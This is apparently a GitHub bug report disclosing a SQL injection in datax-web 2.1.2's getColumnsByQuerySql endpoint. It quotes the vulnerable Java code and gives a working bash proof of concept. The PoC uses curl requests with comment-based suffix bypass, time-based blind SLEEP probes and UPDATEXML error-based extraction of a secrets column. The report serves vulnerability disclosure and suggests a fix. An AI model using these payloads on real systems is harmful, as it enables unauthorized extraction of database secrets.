Skip to content

[BUG] SQL injection with error disclosure in datax-web #698

Description

@CyanM0un

Describe the bug

datax-web allows an authenticated user to submit a raw querySql value to /api/metadata/getColumnsByQuerySql. The application removes semicolons, appends a limiting predicate, and executes the resulting string through a JDBC Statement. A user can use comments and database expressions to bypass the appended condition, execute arbitrary query semantics under the configured data-source account, and receive database error text in the HTTP response.

Background

The affected endpoint exists to infer result columns from a user-provided SQL statement. We reach it as an authenticated web user:

// datax-admin/src/main/java/com/wugui/datax/admin/controller/MetadataController.java
@GetMapping("/getColumnsByQuerySql")
public R<List<String>> getColumnsByQuerySql(Long datasourceId, String querySql) throws SQLException {
    return success(datasourceQueryService.getColumnsByQuerySql(datasourceId, querySql));
}

The service layer does not inspect the statement type or restrict the tables referenced by the query:

// datax-admin/src/main/java/com/wugui/datax/admin/service/impl/DatasourceQueryServiceImpl.java
BaseQueryTool queryTool = QueryToolFactory.getByDbType(jdbcDatasource);
return queryTool.getColumnsByQuerySql(querySql);

Vulnerability Details

The implementation tries to make the query harmless by removing semicolons and adding where 1=0 or and 1=0:

// datax-admin/src/main/java/com/wugui/datax/admin/tool/query/BaseQueryTool.java
querySql = querySql.replace(";", "");
String sql = querySql.concat(" where 1=0");
if (querySql.contains("where")) {
    sql = querySql.concat(" and 1=0");
}
stmt = connection.createStatement();
rs = stmt.executeQuery(sql);

We still control the SQL grammar before the suffix, and SQL comments can remove the suffix from the statement that the database actually parses:

SELECT id, secret_value FROM victimdb.secrets
WHERE IF(<secret condition>, SLEEP(1), 0) #

From there, we can also choose expressions that intentionally produce database errors containing data. In the MySQL lab, UPDATEXML produced an HTTP response containing XPATH syntax error: '~S3CR3T_LATEST_VALIDATION_202608'.

Proof of Concept

BASE_URL="${BASE_URL:-http://127.0.0.1:18080}"
TOKEN="${TOKEN:?Set TOKEN to an authenticated datax-web JWT}"
DATASOURCE_ID="${DATASOURCE_ID:?Set DATASOURCE_ID to a test JDBC data source id}"
TABLE="${TABLE:-victimdb.secrets}"
COLUMN="${COLUMN:-secret_value}"
EXPECTED_PREFIX="${EXPECTED_PREFIX:-S}"

request_elapsed() {
  local query_sql="$1"
  curl -sS -o /dev/null -w '%{time_total}' \
    -H "Authorization: Bearer ${TOKEN}" \
    --get "${BASE_URL}/api/metadata/getColumnsByQuerySql" \
    --data-urlencode "datasourceId=${DATASOURCE_ID}" \
    --data-urlencode "querySql=${query_sql}"
}

false_query="SELECT id, ${COLUMN} FROM ${TABLE} WHERE IF((SELECT SUBSTRING(${COLUMN},1,1) FROM ${TABLE} LIMIT 1)='Z',SLEEP(1),0) #"
true_query="SELECT id, ${COLUMN} FROM ${TABLE} WHERE IF((SELECT SUBSTRING(${COLUMN},1,1) FROM ${TABLE} LIMIT 1)='${EXPECTED_PREFIX}',SLEEP(1),0) #"
error_query="SELECT UPDATEXML(1,CONCAT(0x7e,(SELECT ${COLUMN} FROM ${TABLE} LIMIT 1),0x7e),1) #"

false_time="$(request_elapsed "${false_query}")"
true_time="$(request_elapsed "${true_query}")"

echo "[+] false condition elapsed: ${false_time}s"
echo "[+] true condition elapsed:  ${true_time}s"
echo "[+] optional error-disclosure probe response:"
curl -sS -H "Authorization: Bearer ${TOKEN}" \
  --get "${BASE_URL}/api/metadata/getColumnsByQuerySql" \
  --data-urlencode "datasourceId=${DATASOURCE_ID}" \
  --data-urlencode "querySql=${error_query}"
echo

Expected behavior

[+] false condition elapsed: 0.01s
[+] true condition elapsed:  1.01s
[+] error probe response contains database exception text on vulnerable MySQL targets

Which version of DataX Web:

  • 2.1.2

Requirement or improvement

  • Prefer a safe query parser that accepts only a narrow SELECT subset and rejects comments, functions, DML, stacked statements, subqueries, and dialect-specific side-effect expressions.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions